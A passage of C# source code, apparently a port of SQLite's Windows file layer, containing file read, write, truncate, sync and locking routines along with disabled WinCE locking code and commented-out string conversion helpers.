PlatformID.Win32NT;\n    }\n#endif // * SQLITE_OS_WINCE */\n\n    /*\n** Convert a UTF-8 string to microsoft unicode (UTF-16?).\n**\n** Space to hold the returned string is obtained from malloc.\n*/\n    //static WCHAR *utf8ToUnicode(string zFilename){\n    //  int nChar;\n    //  WCHAR *zWideFilename;\n\n    //  nChar = MultiByteToWideChar(CP_UTF8, 0, zFilename, -1, NULL, 0);\n    //  zWideFilename = malloc( nChar*sizeof(zWideFilename[0]) );\n    //  if( zWideFilename==0 ){\n    //    return 0;\n    //  }\n    //  nChar = MultiByteToWideChar(CP_UTF8, 0, zFilename, -1, zWideFilename, nChar);\n    //  if( nChar==0 ){\n    //    free(zWideFilename);\n    //    zWideFileName = \"\";\n    //  }\n    //  return zWideFilename;\n    //}\n\n    /*\n    ** Convert microsoft unicode to UTF-8.  Space to hold the returned string is\n    ** obtained from malloc().\n    */\n    //static char *unicodeToUtf8(const WCHAR *zWideFilename){\n    //  int nByte;\n    //  char *zFilename;\n\n    //  nByte = WideCharToMultiByte(CP_UTF8, 0, zWideFilename, -1, 0, 0, 0, 0);\n    //  zFilename = malloc( nByte );\n    //  if( zFilename==0 ){\n    //    return 0;\n    //  }\n    //  nByte = WideCharToMultiByte(CP_UTF8, 0, zWideFilename, -1, zFilename, nByte,\n    //                              0, 0);\n    //  if( nByte == 0 ){\n    //    free(zFilename);\n    //    zFileName = \"\";\n    //  }\n    //  return zFilename;\n    //}\n\n    /*\n    ** Convert an ansi string to microsoft unicode, based on the\n    ** current codepage settings for file apis.\n    **\n    ** Space to hold the returned string is obtained\n    ** from malloc.\n    */\n    //static WCHAR *mbcsToUnicode(string zFilename){\n    //  int nByte;\n    //  WCHAR *zMbcsFilename;\n    //  int codepage = AreFileApisANSI() ? CP_ACP : CP_OEMCP;\n\n    //  nByte = MultiByteToWideChar(codepage, 0, zFilename, -1, NULL,0)*WCHAR.Length;\n    //  zMbcsFilename = malloc( nByte*sizeof(zMbcsFilename[0]) );\n    //  if( zMbcsFilename==0 ){\n    //    return 0;\n    //  }\n    //  nByte = MultiByteToWideChar(codepage, 0, zFilename, -1, zMbcsFilename, nByte);\n    //  if( nByte==0 ){\n    //    free(zMbcsFilename);\n    //    zMbcsFileName = \"\";\n    //  }\n    //  return zMbcsFilename;\n    //}\n\n    /*\n    ** Convert microsoft unicode to multibyte character string, based on the\n    ** user's Ansi codepage.\n    **\n    ** Space to hold the returned string is obtained from\n    ** malloc().\n    */\n    //static char *unicodeToMbcs(const WCHAR *zWideFilename){\n    //  int nByte;\n    //  char *zFilename;\n    //  int codepage = AreFileApisANSI() ? CP_ACP : CP_OEMCP;\n\n    //  nByte = WideCharToMultiByte(codepage, 0, zWideFilename, -1, 0, 0, 0, 0);\n    //  zFilename = malloc( nByte );\n    //  if( zFilename==0 ){\n    //    return 0;\n    //  }\n    //  nByte = WideCharToMultiByte(codepage, 0, zWideFilename, -1, zFilename, nByte,\n    //                              0, 0);\n    //  if( nByte == 0 ){\n    //    free(zFilename);\n    //    zFileName = \"\";\n    //  }\n    //  return zFilename;\n    //}\n\n    /*\n    ** Convert multibyte character string to UTF-8.  Space to hold the\n    ** returned string is obtained from malloc().\n    */\n    //static char *sqlite3_win32_mbcs_to_utf8(string zFilename){\n    //  char *zFilenameUtf8;\n    //  WCHAR *zTmpWide;\n\n    //  zTmpWide = mbcsToUnicode(zFilename);\n    //  if( zTmpWide==0 ){\n    //    return 0;\n    //  }\n    //  zFilenameUtf8 = unicodeToUtf8(zTmpWide);\n    //  free(zTmpWide);\n    //  return zFilenameUtf8;\n    //}\n\n    /*\n    ** Convert UTF-8 to multibyte character string.  Space to hold the\n    ** returned string is obtained from malloc().\n    */\n    //static char *utf8ToMbcs(string zFilename){\n    //  char *zFilenameMbcs;\n    //  WCHAR *zTmpWide;\n\n    //  zTmpWide = utf8ToUnicode(zFilename);\n    //  if( zTmpWide==0 ){\n    //    return 0;\n    //  }\n    //  zFilenameMbcs = unicodeToMbcs(zTmpWide);\n    //  free(zTmpWide);\n    //  return zFilenameMbcs;\n    //}\n\n#if SQLITE_OS_WINCE\n/*************************************************************************\n** This section contains code for WinCE only.\n*/\n/*\n** WindowsCE does not have a localtime() function.  So create a\n** substitute.\n*/\n//#include <time.h>\nstruct tm *__cdecl localtime(const time_t *t)\n{\nstatic struct tm y;\nFILETIME uTm, lTm;\nSYSTEMTIME pTm;\nsqlite3_int64 t64;\nt64 = *t;\nt64 = (t64 + 11644473600)*10000000;\nuTm.dwLowDateTime = t64 & 0xFFFFFFFF;\nuTm.dwHighDateTime= t64 >> 32;\nFileTimeToLocalFileTime(&uTm,&lTm);\nFileTimeToSystemTime(&lTm,&pTm);\ny.tm_year = pTm.wYear - 1900;\ny.tm_mon = pTm.wMonth - 1;\ny.tm_wday = pTm.wDayOfWeek;\ny.tm_mday = pTm.wDay;\ny.tm_hour = pTm.wHour;\ny.tm_min = pTm.wMinute;\ny.tm_sec = pTm.wSecond;\nreturn &y;\n}\n\n/* This will never be called, but defined to make the code compile */\n//#define GetTempPathA(a,b)\n\n//#define LockFile(a,b,c,d,e)       winceLockFile(&a, b, c, d, e)\n//#define UnlockFile(a,b,c,d,e)     winceUnlockFile(&a, b, c, d, e)\n//#define LockFileEx(a,b,c,d,e,f)   winceLockFileEx(&a, b, c, d, e, f)\n\n//#define HANDLE_TO_WINFILE(a) (sqlite3_file*)&((char*)a)[-offsetof(sqlite3_file,h)]\n\n/*\n** Acquire a lock on the handle h\n*/\nstatic void winceMutexAcquire(HANDLE h){\nDWORD dwErr;\ndo {\ndwErr = WaitForSingleObject(h, INFINITE);\n} while (dwErr != WAIT_OBJECT_0 && dwErr != WAIT_ABANDONED);\n}\n/*\n** Release a lock acquired by winceMutexAcquire()\n*/\n//#define winceMutexRelease(h) ReleaseMutex(h)\n\n/*\n** Create the mutex and shared memory used for locking in the file\n** descriptor pFile\n*/\nstatic BOOL winceCreateLock(string zFilename, sqlite3_file pFile){\nWCHAR *zTok;\nWCHAR *zName = utf8ToUnicode(zFilename);\nBOOL bInit = TRUE;\n\n/* Initialize the local lockdata */\nZeroMemory(pFile.local, pFile.local).Length;\n\n/* Replace the backslashes from the filename and lowercase it\n** to derive a mutex name. */\nzTok = CharLowerW(zName);\nfor (;*zTok;zTok++){\nif (*zTok == '\\\\') *zTok = '_';\n}\n\n/* Create/open the named mutex */\npFile.hMutex = CreateMutexW(NULL, FALSE, zName);\nif (!pFile.hMutex){\npFile->lastErrno = (u32)GetLastError();\nfree(zName);\nreturn FALSE;\n}\n\n/* Acquire the mutex before continuing */\nwinceMutexAcquire(pFile.hMutex);\n\n/* Since the names of named mutexes, semaphores, file mappings etc are\n** case-sensitive, take advantage of that by uppercasing the mutex name\n** and using that as the shared filemapping name.\n*/\nCharUpperW(zName);\npFile.hShared = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL,\nPAGE_READWRITE, 0, winceLock.Length,\nzName);\n\n/* Set a flag that indicates we're the first to create the memory so it\n** must be zero-initialized */\nif (GetLastError() == ERROR_ALREADY_EXISTS){\nbInit = FALSE;\n}\n\nfree(zName);\n\n/* If we succeeded in making the shared memory handle, map it. */\nif (pFile.hShared){\npFile.shared = (winceLock*)MapViewOfFile(pFile.hShared,\nFILE_MAP_READ|FILE_MAP_WRITE, 0, 0, winceLock).Length;\n/* If mapping failed, close the shared memory handle and erase it */\nif (!pFile.shared){\npFile->lastErrno = (u32)GetLastError();\nCloseHandle(pFile.hShared);\npFile.hShared = NULL;\n}\n}\n\n/* If shared memory could not be created, then close the mutex and fail */\nif (pFile.hShared == NULL){\nwinceMutexRelease(pFile.hMutex);\nCloseHandle(pFile.hMutex);\npFile.hMutex = NULL;\nreturn FALSE;\n}\n\n/* Initialize the shared memory if we're supposed to */\nif (bInit) {\nZeroMemory(pFile.shared, winceLock).Length;\n}\n\nwinceMutexRelease(pFile.hMutex);\nreturn TRUE;\n}\n\n/*\n** Destroy the part of sqlite3_file that deals with wince locks\n*/\nstatic void winceDestroyLock(sqlite3_file pFile){\nif (pFile.hMutex){\n/* Acquire the mutex */\nwinceMutexAcquire(pFile.hMutex);\n\n/* The following blocks should probably Debug.Assert in debug mode, but they\nare to cleanup in case any locks remained open */\nif (pFile.local.nReaders){\npFile.shared.nReaders --;\n}\nif (pFile.local.bReserved){\npFile.shared.bReserved = FALSE;\n}\nif (pFile.local.bPending){\npFile.shared.bPending = FALSE;\n}\nif (pFile.local.bExclusive){\npFile.shared.bExclusive = FALSE;\n}\n\n/* De-reference and close our copy of the shared memory handle */\nUnmapViewOfFile(pFile.shared);\nCloseHandle(pFile.hShared);\n\n/* Done with the mutex */\nwinceMutexRelease(pFile.hMutex);\nCloseHandle(pFile.hMutex);\npFile.hMutex = NULL;\n}\n}\n\n/*\n** An implementation of the LockFile() API of windows for wince\n*/\nstatic BOOL winceLockFile(\nHANDLE phFile,\nDWORD dwFileOffsetLow,\nDWORD dwFileOffsetHigh,\nDWORD nNumberOfBytesToLockLow,\nDWORD nNumberOfBytesToLockHigh\n){\nsqlite3_file pFile = HANDLE_TO_WINFILE(phFile);\nBOOL bReturn = FALSE;\n\nif (!pFile.hMutex) return TRUE;\nwinceMutexAcquire(pFile.hMutex);\n\n/* Wanting an exclusive lock? */\nif (dwFileOffsetLow == SHARED_FIRST\n&& nNumberOfBytesToLockLow == SHARED_SIZE){\nif (pFile.shared.nReaders == 0 && pFile.shared.bExclusive == 0){\npFile.shared.bExclusive = TRUE;\npFile.local.bExclusive = TRUE;\nbReturn = TRUE;\n}\n}\n\n/* Want a read-only lock? */\nelse if (dwFileOffsetLow == SHARED_FIRST &&\nnNumberOfBytesToLockLow == 1){\nif (pFile.shared.bExclusive == 0){\npFile.local.nReaders ++;\nif (pFile.local.nReaders == 1){\npFile.shared.nReaders ++;\n}\nbReturn = TRUE;\n}\n}\n\n/* Want a pending lock? */\nelse if (dwFileOffsetLow == PENDING_BYTE && nNumberOfBytesToLockLow == 1){\n/* If no pending lock has been acquired, then acquire it */\nif (pFile.shared.bPending == 0) {\npFile.shared.bPending = TRUE;\npFile.local.bPending = TRUE;\nbReturn = TRUE;\n}\n}\n/* Want a reserved lock? */\nelse if (dwFileOffsetLow == RESERVED_BYTE && nNumberOfBytesToLockLow == 1){\nif (pFile.shared.bReserved == 0) {\npFile.shared.bReserved = TRUE;\npFile.local.bReserved = TRUE;\nbReturn = TRUE;\n}\n}\n\nwinceMutexRelease(pFile.hMutex);\nreturn bReturn;\n}\n\n/*\n** An implementation of the UnlockFile API of windows for wince\n*/\nstatic BOOL winceUnlockFile(\nHANDLE phFile,\nDWORD dwFileOffsetLow,\nDWORD dwFileOffsetHigh,\nDWORD nNumberOfBytesToUnlockLow,\nDWORD nNumberOfBytesToUnlockHigh\n){\nsqlite3_file pFile = HANDLE_TO_WINFILE(phFile);\nBOOL bReturn = FALSE;\n\nif (!pFile.hMutex) return TRUE;\nwinceMutexAcquire(pFile.hMutex);\n\n/* Releasing a reader lock or an exclusive lock */\nif (dwFileOffsetLow >= SHARED_FIRST &&\ndwFileOffsetLow < SHARED_FIRST + SHARED_SIZE){\n/* Did we have an exclusive lock? */\nif (pFile.local.bExclusive){\npFile.local.bExclusive = FALSE;\npFile.shared.bExclusive = FALSE;\nbReturn = TRUE;\n}\n\n/* Did we just have a reader lock? */\nelse if (pFile.local.nReaders){\npFile.local.nReaders --;\nif (pFile.local.nReaders == 0)\n{\npFile.shared.nReaders --;\n}\nbReturn = TRUE;\n}\n}\n\n/* Releasing a pending lock */\nelse if (dwFileOffsetLow == PENDING_BYTE && nNumberOfBytesToUnlockLow == 1){\nif (pFile.local.bPending){\npFile.local.bPending = FALSE;\npFile.shared.bPending = FALSE;\nbReturn = TRUE;\n}\n}\n/* Releasing a reserved lock */\nelse if (dwFileOffsetLow == RESERVED_BYTE && nNumberOfBytesToUnlockLow == 1){\nif (pFile.local.bReserved) {\npFile.local.bReserved = FALSE;\npFile.shared.bReserved = FALSE;\nbReturn = TRUE;\n}\n}\n\nwinceMutexRelease(pFile.hMutex);\nreturn bReturn;\n}\n\n/*\n** An implementation of the LockFileEx() API of windows for wince\n*/\nstatic BOOL winceLockFileEx(\nHANDLE phFile,\nDWORD dwFlags,\nDWORD dwReserved,\nDWORD nNumberOfBytesToLockLow,\nDWORD nNumberOfBytesToLockHigh,\nLPOVERLAPPED lpOverlapped\n){\n/* If the caller wants a shared read lock, forward this call\n** to winceLockFile */\nif (lpOverlapped.Offset == SHARED_FIRST &&\ndwFlags == 1 &&\nnNumberOfBytesToLockLow == SHARED_SIZE){\nreturn winceLockFile(phFile, SHARED_FIRST, 0, 1, 0);\n}\nreturn FALSE;\n}\n/*\n** End of the special code for wince\n*****************************************************************************/\n#endif // * SQLITE_OS_WINCE */\n\n    /*****************************************************************************\n** The next group of routines implement the I/O methods specified\n** by the sqlite3_io_methods object.\n******************************************************************************/\n\n    /*\n    ** Close a file.\n    **\n    ** It is reported that an attempt to close a handle might sometimes\n    ** fail.  This is a very unreasonable result, but windows is notorious\n    ** for being unreasonable so I do not doubt that it might happen.  If\n    ** the close fails, we pause for 100 milliseconds and try again.  As\n    ** many as MX_CLOSE_ATTEMPT attempts to close the handle are made before\n    ** giving up and returning an error.\n    */\n    public static int MX_CLOSE_ATTEMPT = 3;\n    static int winClose( sqlite3_file id )\n    {\n      bool rc;\n      int cnt = 0;\n      sqlite3_file pFile = (sqlite3_file)id;\n\n      Debug.Assert( id != null );\n#if SQLITE_DEBUG\n      OSTRACE3( \"CLOSE %d (%s)\\n\", pFile.fs.GetHashCode(), pFile.fs.Name );\n#endif\n      do\n      {\n        pFile.fs.Close();\n        rc = true;\n        //  rc = CloseHandle(pFile.h);\n        //  if (!rc && ++cnt < MX_CLOSE_ATTEMPT) Thread.Sleep(100); //, 1) );\n      } while ( !rc && ++cnt < MX_CLOSE_ATTEMPT ); //, 1) );\n#if SQLITE_OS_WINCE\n//#define WINCE_DELETION_ATTEMPTS 3\nwinceDestroyLock(pFile);\nif( pFile.zDeleteOnClose ){\nint cnt = 0;\nwhile(\nDeleteFileW(pFile.zDeleteOnClose)==0\n&& GetFileAttributesW(pFile.zDeleteOnClose)!=0xffffffff\n&& cnt++ < WINCE_DELETION_ATTEMPTS\n){\nSleep(100);  /* Wait a little before trying again */\n}\nfree(pFile.zDeleteOnClose);\n}\n#endif\n#if SQLITE_TEST\n      OpenCounter( -1 );\n#endif\n      return rc ? SQLITE_OK : SQLITE_IOERR;\n    }\n\n    /*\n    ** Some microsoft compilers lack this definition.\n    */\n#if !INVALID_SET_FILE_POINTER\n    const int INVALID_SET_FILE_POINTER = -1;\n#endif\n\n    /*\n** Read data from a file into a buffer.  Return SQLITE_OK if all\n** bytes were read successfully and SQLITE_IOERR if anything goes\n** wrong.\n*/\n    static int winRead(\n    sqlite3_file id,           /* File to read from */\n    byte[] pBuf,           /* Write content into this buffer */\n    int amt,                   /* Number of bytes to read */\n    sqlite3_int64 offset       /* Begin reading at this offset */\n    )\n    {\n\n      //LONG upperBits = (LONG)( ( offset >> 32 ) & 0x7fffffff );\n      //LONG lowerBits = (LONG)( offset & 0xffffffff );\n      long rc;\n      sqlite3_file pFile = id;\n      //DWORD error;\n      long got;\n\n      Debug.Assert( id != null );\n#if SQLITE_TEST\n      //SimulateIOError(return SQLITE_IOERR_READ);  TODO --  How to implement this?\n#endif\n#if SQLITE_DEBUG\n      OSTRACE3( \"READ %d lock=%d\\n\", pFile.fs.GetHashCode(), pFile.locktype );\n#endif\n      if ( !id.fs.CanRead ) return SQLITE_IOERR_READ;\n      try\n      {\n        rc = id.fs.Seek( offset, SeekOrigin.Begin ); // SetFilePointer(pFile.fs.Name, lowerBits, upperBits, FILE_BEGIN);\n      }\n      catch ( Exception e )      //            if( rc==INVALID_SET_FILE_POINTER && (error=GetLastError())!=NO_ERROR )\n      {\n        pFile.lastErrno = (u32)Marshal.GetLastWin32Error();\n        return SQLITE_FULL;\n      }\n\n      try\n      {\n        got = id.fs.Read( pBuf, 0, amt ); // if (!ReadFile(pFile.fs.Name, pBuf, amt, got, 0))\n      }\n      catch ( Exception e )\n      {\n        pFile.lastErrno = (u32)Marshal.GetLastWin32Error();\n        return SQLITE_IOERR_READ;\n      }\n      if ( got == amt )\n      {\n        return SQLITE_OK;\n      }\n      else\n      {\n        /* Unread parts of the buffer must be zero-filled */\n        Array.Clear( pBuf, (int)got, (int)( amt - got ) ); // memset(&((char*)pBuf)[got], 0, amt - got);\n        return SQLITE_IOERR_SHORT_READ;\n      }\n    }\n\n    /*\n    ** Write data from a buffer into a file.  Return SQLITE_OK on success\n    ** or some other error code on failure.\n    */\n    static int winWrite(\n    sqlite3_file id,          /* File to write into */\n    byte[] pBuf,              /* The bytes to be written */\n    int amt,                  /* Number of bytes to write */\n    sqlite3_int64 offset      /* Offset into the file to begin writing at */\n    )\n    {\n      //LONG upperBits = (LONG)( ( offset >> 32 ) & 0x7fffffff );\n      //LONG lowerBits = (LONG)( offset & 0xffffffff );\n      int rc;\n      //  sqlite3_file pFile = (sqlite3_file*)id;\n      //  DWORD error;\n      long wrote = 0;\n\n      Debug.Assert( id != null );\n#if SQLITE_TEST\n      if ( SimulateIOError() ) return SQLITE_IOERR_WRITE;\n      if ( SimulateDiskfullError() ) return SQLITE_FULL;\n#endif\n#if SQLITE_DEBUG\n      OSTRACE3( \"WRITE %d lock=%d\\n\", id.fs.GetHashCode(), id.locktype );\n#endif\n      //  rc = SetFilePointer(pFile.fs.Name, lowerBits, upperBits, FILE_BEGIN);\n      id.fs.Seek( offset, SeekOrigin.Begin );\n      //  if( rc==INVALID_SET_FILE_POINTER && GetLastError()!=NO_ERROR ){\n      //  pFile.lastErrno = (u32)GetLastError();\n      //    return SQLITE_FULL;\n      //  }\n      Debug.Assert( amt > 0 );\n      wrote = id.fs.Position;\n      try\n      {\n        Debug.Assert( pBuf.Length >= amt );\n        id.fs.Write( pBuf, 0, amt );\n        rc = 1;// Success\n        wrote = id.fs.Position - wrote;\n      }\n      catch ( IOException e )\n      {\n        return SQLITE_READONLY;\n      }\n      //  while(\n      //     amt>0\n      //     && (rc = WriteFile(pFile.fs.Name, pBuf, amt, wrote, 0))!=0\n      //     && wrote>0\n      //  ){\n      //    amt -= wrote;\n      //    pBuf = &((char*)pBuf)[wrote];\n      //  }\n      if ( rc == 0 || amt > (int)wrote )\n      {\n        id.lastErrno = (u32)Marshal.GetLastWin32Error();\n        return SQLITE_FULL;\n      }\n      return SQLITE_OK;\n    }\n\n    /*\n    ** Truncate an open file to a specified size\n    */\n    static int winTruncate( sqlite3_file id, sqlite3_int64 nByte )\n    {\n      //LONG upperBits = (LONG)( ( nByte >> 32 ) & 0x7fffffff );\n      //LONG lowerBits = (LONG)( nByte & 0xffffffff );\n      //DWORD rc;\n      //winFile* pFile = (winFile*)id;\n      //DWORD error;\n\n      Debug.Assert( id != null );\n#if SQLITE_DEBUG\n      OSTRACE3( \"TRUNCATE %d %lld\\n\", id.fs.Name, nByte );\n#endif\n#if SQLITE_TEST\n      //SimulateIOError(return SQLITE_IOERR_TRUNCATE);  TODO --  How to implement this?\n#endif\n      //rc = SetFilePointer( pFile->h, lowerBits, &upperBits, FILE_BEGIN );\n      //if ( rc == INVALID_SET_FILE_POINTER && ( error = GetLastError() ) != NO_ERROR )\n      //{\n      //  pFile->lastErrno = error;\n      //  return SQLITE_IOERR_TRUNCATE;\n      //}\n      ///* SetEndOfFile will fail if nByte is negative */\n      //if ( !SetEndOfFile( pFile->h ) )\n      //{\n      //  pFile->lastErrno = GetLastError();\n      //  return SQLITE_IOERR_TRUNCATE;\n      //}\n      try\n      {\n        id.fs.SetLength( nByte );\n      }\n      catch ( IOException e )\n      {\n        id.lastErrno = (u32)Marshal.GetLastWin32Error();\n        return SQLITE_IOERR_TRUNCATE;\n      }\n      return SQLITE_OK;\n    }\n\n#if SQLITE_TEST\n    /*\n** Count the number of fullsyncs and normal syncs.  This is used to test\n** that syncs and fullsyncs are occuring at the right times.\n*/\n    static int sqlite3_sync_count = 0;\n    static int sqlite3_fullsync_count = 0;\n#endif\n\n    /*\n** Make sure all writes to a particular file are committed to disk.\n*/\n    static int winSync( sqlite3_file id, int flags )\n    {\n#if !SQLITE_NO_SYNC\n      sqlite3_file pFile = (sqlite3_file)id;\n      Debug.Assert( id != null );\n#if SQLITE_DEBUG\n      OSTRACE3( \"SYNC %d lock=%d\\n\", pFile.fs.GetHashCode(), pFile.locktype );\n#endif\n#else\nUNUSED_PARAMETER(id);\n#endif\n#if !SQLITE_TEST\nUNUSED_PARAMETER(flags);\n#else\n      if ( ( flags & SQLITE_SYNC_FULL ) != 0 )\n      {\n        sqlite3_fullsync_count++;\n      }\n      sqlite3_sync_count++;\n#endif\n      /* If we compiled with the SQLITE_NO_SYNC flag, then syncing is a\n** no-op\n*/\n#if SQLITE_NO_SYNC\nreturn SQLITE_OK;\n#else\n      pFile.fs.Flush();\n      return SQLITE_OK;\n      //if (FlushFileBuffers(pFile.h) != 0)\n      //{\n      //  return SQLITE_OK;\n      //}\n      //else\n      //{\n      //  pFile->lastErrno = (u32)GetLastError();\n      //  return SQLITE_IOERR;\n      //}\n#endif\n    }\n\n    /*\n    ** Determine the current size of a file in bytes\n    */\n    static int sqlite3_fileSize( sqlite3_file id, ref int pSize )\n    {\n      //DWORD upperBits;\n      //DWORD lowerBits;\n      //  sqlite3_file pFile = (sqlite3_file)id;\n      //  DWORD error;\n      Debug.Assert( id != null );\n#if SQLITE_TEST\n      //SimulateIOError(return SQLITE_IOERR_FSTAT);  TODO --  How to implement this?\n#endif\n      //lowerBits = GetFileSize(pFile.fs.Name, upperBits);\n      //if ( ( lowerBits == INVALID_FILE_SIZE )\n      //   && ( ( error = GetLastError() ) != NO_ERROR ) )\n      //{\n      //  pFile->lastErrno = error;\n      //  return SQLITE_IOERR_FSTAT;\n      //}\n      //pSize = (((sqlite3_int64)upperBits)<<32) + lowerBits;\n      pSize = id.fs.CanRead ? (int)id.fs.Length : 0;\n      return SQLITE_OK;\n    }\n\n\n    /*\n    ** Acquire a reader lock.\n    ** Different API routines are called depending on whether or not this\n    ** is Win95 or WinNT.\n    */\n    static int getReadLock( sqlite3_file pFile )\n    {\n      int res = 0;\n      if ( isNT() )\n      {\n        res = lockingStrategy.SharedLockFile( pFile, SHARED_FIRST, SHARED_SIZE );\n      }\n      /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed.\n      */\n#if !SQLITE_OS_WINCE\n      //else\n      //{\n      //  int lk;\n      //  sqlite3_randomness(lk.Length, lk);\n      //  pFile->sharedLockByte = (u16)((lk & 0x7fffffff)%(SHARED_SIZE - 1));\n      //  res = pFile.fs.Lock( SHARED_FIRST + pFile.sharedLockByte, 0, 1, 0);\n#endif\n      //}\n      if ( res == 0 )\n      {\n        pFile.lastErrno = (u32)Marshal.GetLastWin32Error();\n      }\n      return res;\n    }\n\n    /*\n    ** Undo a readlock\n    */\n    static int unlockReadLock( sqlite3_file pFile )\n    {\n      int res = 1;\n      if ( isNT() )\n      {\n        try\n        {\n          lockingStrategy.UnlockFile( pFile, SHARED_FIRST, SHARED_SIZE ); //     res = UnlockFile(pFilE.h, SHARED_FIRST, 0, SHARED_SIZE, 0);\n        }\n        catch ( Exception e )\n        {\n          res = 0;\n        }\n      }\n      /* isNT() is 1 if SQLITE_OS_WINCE==1, so this else is never executed.\n      */\n#if !SQLITE_OS_WINCE\n      else\n      {\n        Debugger.Break(); //    res = UnlockFile(pFilE.h, SHARED_FIRST + pFilE.sharedLockByte, 0, 1, 0);\n      }\n#endif\n      if ( res == 0 )\n      {\n        pFile.lastErrno = (u32)Marshal.GetLastWin32Error();\n      }\n      return res;\n    }\n\n    /*\n    ** Lock the file with the lock specified by parameter locktype - one\n    ** of the following:\n    **\n    **     (1) SHARED_LOCK\n    **     (2) RESERVED_LOCK\n    **     (3) PENDING_LOCK\n    **     (4) EXCLUSIVE_LOCK\n    **\n    ** Sometimes when requesting one lock state, additional lock states\n    ** are inserted in between.  The locking might fail on one of the later\n    ** transitions leaving the lock state different from what it started but\n    ** still short of its goal.  The following chart shows the allowed\n    ** transitions and the inserted intermediate states:\n    **\n    **    UNLOCKED -> SHARED\n    **    SHARED -> RESERVED\n    **    SHARED -> (PENDING) -> EXCLUSIVE\n    **    RESERVED -> (PENDING) -> EXCLUSIVE\n    **    PENDING -> EXCLUSIVE\n    **\n    ** This routine will only increase a lock.  The winUnlock() routine\n    ** erases all locks at once and returns us immediately to locking level 0.\n    ** It is not possible to lower the locking level one step at a time.  You\n    ** must go straight to locking level 0.\n    */\n    static int winLock( sqlite3_file id, int locktype )\n    {\n      int rc = SQLITE_OK;         /* Return code from subroutines */\n      int res = 1;                /* Result of a windows lock call */\n      int newLocktype;            /* Set pFile.locktype to this value before exiting */\n      bool gotPendingLock = false;/* True if we acquired a PENDING lock this time */\n      sqlite3_file pFile = (sqlite3_file)id;\n      DWORD error = NO_ERROR;\n\n      Debug.Assert( id != null );\n#if SQLITE_DEBUG\n      OSTRACE5( \"LOCK %d %d was %d(%d)\\n\",\n      pFile.fs.GetHashCode(), locktype, pFile.locktype, pFile.sharedLockByte );\n#endif\n      /* If there is already a lock of this type or more restrictive on the\n** OsFile, do nothing. Don't use the end_lock: exit path, as\n** sqlite3OsEnterMutex() hasn't been called yet.\n*/\n      if ( pFile.locktype >= locktype )\n      {\n        return SQLITE_OK;\n      }\n\n      /* Make sure the locking sequence is correct\n      */\n      Debug.Assert( pFile.locktype != NO_LOCK || locktype == SHARED_LOCK );\n      Debug.Assert( locktype != PENDING_LOCK );\n      Debug.Assert( locktype != RESERVED_LOCK || pFile.locktype == SHARED_LOCK );\n\n      /* Lock the PENDING_LOCK byte if we need to acquire a PENDING lock or\n      ** a SHARED lock.  If we are acquiring a SHARED lock, the acquisition of\n      ** the PENDING_LOCK byte is temporary.\n      */\n      newLocktype = pFile.locktype;\n      if ( pFile.locktype == NO_LOCK\n      || ( ( locktype == EXCLUSIVE_LOCK )\n      && ( pFile.locktype == RESERVED_LOCK ) )\n      )\n      {\n        int cnt = 3;\n        res = 0;\n        while ( cnt-- > 0 && res == 0 )//(res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), PENDING_BYTE, 0, 1, 0)) == 0)\n        {\n          try\n          {\n            lockingStrategy.LockFile( pFile, PENDING_BYTE, 1 );\n            res = 1;\n          }\n          catch ( Exception e )\n          {\n            /* Try 3 times to get the pending lock.  The pending lock might be\n            ** held by another reader process who will release it momentarily.\n            */\n#if SQLITE_DEBUG\n            OSTRACE2( \"could not get a PENDING lock. cnt=%d\\n\", cnt );\n#endif\n            Thread.Sleep( 1 );\n          }\n        }\n        gotPendingLock = ( res != 0 );\n        if ( 0 == res )\n        {\n          error = (u32)Marshal.GetLastWin32Error();\n        }\n      }\n\n      /* Acquire a shared lock\n      */\n      if ( locktype == SHARED_LOCK && res != 0 )\n      {\n        Debug.Assert( pFile.locktype == NO_LOCK );\n        res = getReadLock( pFile );\n        if ( res != 0 )\n        {\n          newLocktype = SHARED_LOCK;\n        }\n        else\n        {\n          error = (u32)Marshal.GetLastWin32Error();\n        }\n      }\n\n      /* Acquire a RESERVED lock\n      */\n      if ( ( locktype == RESERVED_LOCK ) && res != 0 )\n      {\n        Debug.Assert( pFile.locktype == SHARED_LOCK );\n        try\n        {\n          lockingStrategy.LockFile( pFile, RESERVED_BYTE, 1 );//res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), RESERVED_BYTE, 0, 1, 0);\n          newLocktype = RESERVED_LOCK;\n          res = 1;\n        }\n        catch ( Exception e )\n        {\n          res = 0;\n          error = (u32)Marshal.GetLastWin32Error();\n        }\n        if ( res != 0 )\n        {\n          newLocktype = RESERVED_LOCK;\n        }\n        else\n        {\n          error = (u32)Marshal.GetLastWin32Error();\n        }\n      }\n\n      /* Acquire a PENDING lock\n      */\n      if ( locktype == EXCLUSIVE_LOCK && res != 0 )\n      {\n        newLocktype = PENDING_LOCK;\n        gotPendingLock = false;\n      }\n\n      /* Acquire an EXCLUSIVE lock\n      */\n      if ( locktype == EXCLUSIVE_LOCK && res != 0 )\n      {\n        Debug.Assert( pFile.locktype >= SHARED_LOCK );\n        res = unlockReadLock( pFile );\n#if SQLITE_DEBUG\n        OSTRACE2( \"unreadlock = %d\\n\", res );\n#endif\n        //res = LockFile(pFile.fs.SafeFileHandle.DangerousGetHandle().ToInt32(), SHARED_FIRST, 0, SHARED_SIZE, 0);\n        try\n        {\n          lockingStrategy.LockFile( pFile, SHARED_FIRST, SHARED_SIZE );\n          newLocktype = EXCLUSIVE_LOCK;\n          res = 1;\n        }\n        catch ( Exception e )\n        {\n          res = 0;\n        }\n        if ( res != 0 )\n        {\n          newLocktype = EXCLUSIVE_LOCK;\n        }\n        else\n        {\n          error = (u32)Marshal.GetLastWin32Error();\n#if SQLITE_DEBUG\n          OSTRACE2( \"error-code = %d\\n\", error );\n#endif\n          getReadLock( pFile );\n        }\n      }\n\n      /* If we are holding a PENDING lock that ought to be released, then\n      ** release it now.\n      */\n      if ( gotPendingLock && locktype == SHARED_LOCK )\n      {\n        lockingStrategy.UnlockFile( pFile, PENDING_BYTE, 1 );\n      }\n\n      /* Update the state of the lock has held in the file descriptor then\n      ** return the appropriate result code.\n      */\n      if ( res != 0 )\n      {\n        rc = SQLITE_OK;\n      }\n      else\n      {\n#if SQLITE_DEBUG\n        OSTRACE4( \"LOCK FAILED %d trying for %d but got %d\\n\", pFile.fs.GetHashCode(),\n        locktype, newLocktype );\n#endif\n        pFile.lastErrno = error;\n        rc = SQLITE_BUSY;\n      }\n      pFile.locktype = (u8)newLocktype;\n      return rc;\n    